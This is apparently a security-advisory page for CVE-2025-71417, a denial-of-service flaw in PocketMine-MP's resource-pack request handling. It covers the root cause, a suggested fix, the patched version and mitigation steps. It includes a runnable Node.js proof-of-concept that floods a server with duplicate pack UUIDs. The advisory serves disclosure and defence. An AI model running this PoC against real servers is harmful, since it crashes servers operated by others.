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CVE-2025-71417 — pocketmine-mp

Fix: pmmp/PocketMine-MP@c417ecd

CVE-2025-71417 is a Improper Input Validation vulnerability in pocketmine/pocketmine-mp. A fix is available for pocketmine/pocketmine-mp — see the affected versions and patch details below.

PocketMine-MP before 5.32.1 Denial of Service via ResourcePackClientResponsePacket

Also known asGHSA-fqqv-56h5-f57g
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-71417.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk
0.00%0.31%0.62%0.94%0.4%0.4%Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐘pocketmine/pocketmine-mp

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket. PocketMine-MP processes the packIds array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: High — Remote DoS from an authenticated client.


Details

Relevant code (simplified):

case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
    foreach($packet->packIds as $uuid){
        $splitPos = strpos($uuid, "_");
        if($splitPos !== false){
            $uuid = substr($uuid, 0, $splitPos);
        }
        $pack = $this->getPackById($uuid);
        if(!($pack instanceof ResourcePack)){
            $this->disconnectWithError("Unknown pack $uuid requested...");
            return false;
        }
        $this->session->sendDataPacket(ResourcePackDataInfoPacket::create(
            $pack->getPackId(),
            self::PACK_CHUNK_SIZE,
            (int) ceil($pack->getPackSize() / self::PACK_CHUNK_SIZE),
            $pack->getPackSize(),
            $pack->getSha256(),
            false,
            ResourcePackType::RESOURCES
        ));
    }
    break;

Root cause:

  • The packIds array is taken directly from the client packet and processed as-is.
  • There is no check to ensure that all requested packs are unique.
  • A malicious client can craft a STATUS_SEND_PACKS packet with many duplicates of a valid UUID.
  • Each duplicate results in the server re-sending the same pack, consuming additional memory.

Why this is unexpected:

  • Mojang's official clients never send duplicates in packIds.
  • PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.

Suggested fix: Before sending packs:

  1. Remove duplicates from the incoming packIds array.
  2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
  3. Track which packs have already been sent to this player, and skip any that have already been transferred.
$alreadySent = $this->packsSent ?? [];

// Remove duplicates
$uniquePackIds = array_unique($packet->packIds);

// Detect abuse
if(count($packet->packIds) - count($uniquePackIds) > 2){
    $this->disconnectWithError("Too many duplicate resource pack requests");
    return false;
}

foreach($uniquePackIds as $uuid){
    if(in_array($uuid, $alreadySent, true)){
        continue; // Skip packs already sent to this player
    }
    // existing code...
    $alreadySent[] = $uuid;
}

$this->packsSent = $alreadySent;

PoC

  1. Join a PocketMine-MP server with at least one resource pack enabled.

  2. Using a custom Bedrock client, send a ResourcePackClientResponsePacket with:

    • status = STATUS_SEND_PACKS
    • packIds = many duplicates of a known valid pack UUID.

Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'test';
const PACK_UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID
const DUPLICATES = 1000;

const client = createClient({
    host,
    port,
    username,
    offline: true
});

client.on('spawn', () => {
    console.log('[*] Sending duplicate pack request...');
    client.queue('resource_pack_client_response', {
        response_status: 'send_packs',
        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
    });
});

Impact

  • Type: Remote Denial of Service / Memory Exhaustion
  • Who is impacted: Any PocketMine-MP server with resource packs enabled
  • Requirements: Attacker must connect to the server (authenticated player)
  • Effect: Server memory rapidly increases, leading to freeze or crash

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistpocketmine/pocketmine-mpall versions5.32.1composer require pocketmine/pocketmine-mp:^5.32.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pocketmine/pocketmine-mp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pocketmine/pocketmine-mp to 5.32.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-71417 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary A denial-of-service / out-of-memory vulnerability exists in the `STATUS_SEND_PACKS` handling of `ResourcePackClientResponsePacket`. PocketMine-MP processes the `packIds` array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS_SEND_PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: **High** — Remote DoS from an authenticated client. --- ### Details Relevant code (simplified): ```php case Reso
O3 Security · Impact-Aware SCA

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CVE-2025-71417: pocketmine-mp DoS — Fixed in 5.32.1